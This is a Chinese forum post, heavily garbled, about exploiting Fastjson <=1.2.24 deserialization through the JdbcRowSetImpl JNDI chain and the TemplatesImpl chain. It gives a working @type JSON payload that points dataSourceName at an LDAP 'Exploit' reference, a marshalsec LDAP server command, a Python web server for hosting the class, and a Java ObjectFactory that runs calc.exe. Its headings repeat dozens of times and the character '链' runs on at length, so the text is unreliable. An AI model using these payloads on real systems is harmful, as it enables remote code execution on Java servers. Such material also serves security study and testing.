链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 【 【 < = 1 . 2 . 2 4 】 】 J N D I 注 入 利 用 链 注 入 利 用 链 — — c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 利 用 条 件 利 用 条 件         J N D I 注 入 利 用 链 是 通 用 性 最 强 的 利 用 方 式 ， 在 以 下 三 种 反 序 列 化 中 均 可 使 用 ： p a r s e ( j s o n S t r ) p a r s e O b j e c t ( j s o n S t r ) p a r s e O b j e c t ( j s o n S t r , O b j e c t . c l a s s )         当 然 J D K 版 本 有 特 殊 需 求 ， 在 J N D I 注 入 一 文 中 已 说 过 ， 这 里 就 不 再 说 明 利 用 链 利 用 链         在 J N D I 注 入 一 文 中 我 们 已 经 介 绍 了 利 用 链 ， 把 漏 洞 触 发 代 码 从
S t r i n g   u r i   =   " r m i : / / 1 2 7 . 0 . 0 . 1 : 1 0 9 9 / a a " ; / / 可 控 u r i C o n t e x t   c t x   =   n e w   I n i t i a l C o n t e x t ( ) ; c t x . l o o k u p ( u r i ) ; 衍 生 到 了 i m p o r t   c o m . s u n . r o w s e t . J d b c R o w S e t I m p l ; p u b l i c   c l a s s   C L I E N T   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {               J d b c R o w S e t I m p l   J d b c R o w S e t I m p l _ i n c   =   n e w   J d b c R o w S e t I m p l ( ) ; / / 只 是 为 了 方 便 调 用               J d b c R o w S e t I m p l _ i n c . s e t D a t a S o u r c e N a m e ( " r m i : / / 1 2 7 . 0 . 0 . 1 : 1 0 9 9 / a a " ) ; / / 可 控 u r i               J d b c R o w S e t I m p l _ i n c . s e t A u t o C o m m i t ( t r u e ) ;       } }         下 面 尝 试 用 f a s t j s o n 的 @ t y p e 来 使 服 务 端 执 行 以 上 代 码 ， 可 以 看 到 我 们 需 要 调 用 的 两 个 函 数 都 是 以 s e t 开 头 ！ 这 说 明 我 们 可 以 把 这 个 函 数 当 作 s e t t e r 函 数 进 行 调 用 ！         去 看 一 下 这 两 个 函 数 接 口 符 不 符 合 s e t t e r 函 数 的 条 p u b l i c   v o i d   s e t D a t a S o u r c e N a m e ( S t r i n g   v a r 1 )   t h r o w s   S Q L E x c e p t i o n   p u b l i c   v o i d   s e t A u t o C o m m i t ( b o o l e a n   v a r 1 ) t h r o w s   S Q L E x c e p t i o n         方 法 名 长 度 大 于 4 且 以 s e t 开 头 ， 且 第 四 个 字 母 要 是 大 写         非 静 态 方 法         返 回 类 型 为 v o i d 或 当 前 类         参 数 个 数 为 1 个 完 美 符 合 ！ 直 接 给 出 p a y l o a d ！ {       " @ t y p e " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " ,       / / 调 用 c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 函 数 中 的       " d a t a S o u r c e N a m e " : " l d a p : / / 1 2 7 . 0 . 0 . 1 : 1 3 8 9 / E x p l o i t " ,       / /   s e t d a t a S o u r c e N a m e 函 数   传 入 参 数 " l d a p : / / 1 2 7 . 0 . 0 . 1 : 1 3 8 9 / E x p l o i t "       " a u t o C o m m i t " : t r u e   / /   再 调 用 s e t A u t o C o m m i t 函 数 ， 传 入 t r u e } j a v a 环 境 ： j d k 1 . 8 . 0 _ 1 6 1   <   1 . 8 u 1 9 1   （ 可 以 使 用 l d a p 注 入 ） p a c k a g e   版 本 2 4 ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N ; i m p o r t   c o m . f a s t j s o n . U s e r ; p u b l i c   c l a s s   P O C   {       S t r i n g   p a y l o a d   =       " { " @ t y p e " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " , " d a t a S o u r c e N a m e " : " l d a p : / / 1 2 7 . 0 . 0 . 1 : 1 3 8 9 / E x p l o i t " , " a u t o C o m m i t " : t r u e } " ;       J S O N . p a r s e ( p a y l o a d ) ; }         使 用 工 具 起 一 个 l d a p 服 务         j a v a   - c p   m a r s h a l s e c - 0 . 0 . 3 - S N A P S H O T - a l l . j a r   m a r s h a l s e c . j n d i . L D A P R e f S e r v e r   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 9 0 / # E x e c T e s t         之 前 的 E x e c T e s t . c l a s s ， 也 不 用 修 改 直 接 上 来
在 1 . 8 下 编 译 后 使 用 p y t h o n 起 w e b 服 务 p y   - 3   - m   h t t p . s e r v e r   8 0 9 0 N o . 5 N o . 5 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 【 【 < = 1 . 2 . 2 4 】 】 J D K 1 . 7   的 的 T e m p l a t e s I m p l 利 用 利 用 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 链 利 用 条 件 利 用 条 件         基 于 J D K 1 . 7 u 2 1   G a d g e t s   的 触 发 点 T e m p l a t e s I m p l e 的 利 用 条 件 比 较 苛 刻 ： 1 .   服 务 端 使 用 p a r s e O b j e c t ( ) 时 ， 必 须 使 用 如 下 格 式 才 能 触 发 漏 洞 ： J S O N . p a r s e O b j e c t ( i n p u t ,   O b j e c t . c l a s s , F e a t u r e . S u p p o r t N o n P u b l i c F i e l d ) ; 2 .   服 务 端 使 用 p a r s e ( ) 时 ， 需 要 J S O N . p a r s e ( t e x t 1 , F e a t u r e . S u p p o r t N o n P u b l i c F i e l d ) ;         这 是 因 为 p a y l o a d 需 要 赋 值 的 一 些 属 性 为 p r i v a t e 属 性 ， 服 务 端 必 须 添 加 特 性 才 回 去 从 j s o n 中 恢 复 p r i v a t e 属 性 的 数 据   i m p o r t   j a v a . i o . I O E x c e p t i o n ; i m p o r t   j a v a . u t i l . H a s h t a b l e ; i m p o r t   j a v a x . n a m i n g . C o n t e x t ; i m p o r t   j a v a x . n a m i n g . N a m e ; i m p o r t j a v a x . n a m i n g . s p i . O b j e c t F a c t o r y ; p u b l i c   c l a s s   E x e c T e s t   i m p l e m e n t s   O b j e c t F a c t o r y   {         p u b l i c   E x e c T e s t ( )   {       }         p u b l i c   O b j e c t   g e t O b j e c t I n s t a n c e ( O b j e c t   v a r 1 ,   N a m e   v a r 2 ,   C o n t e x t   v a r 3 ,   H a s h t a b l e < ? ,   ? >   v a r 4 )   {               e x e c ( " x t e r m " ) ;                 r e t u r n   n u l l ;       }         p u b l i c   s t a t i c   S t r i n g   e x e c ( S t r i n g   v a r 0 )   {                 t r y   {                       R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " c a l c . e x e " ) ;               }   c a t c h   ( I O E x c e p t i o n   v a r 2 )   {                       v a r 2 . p r i n t S t a c k T r a c e ( ) ;               }                 r e t u r n   " " ;       }         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   v a r 0 )   {               e x e c ( " 1 2 3 " ) ;       } }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理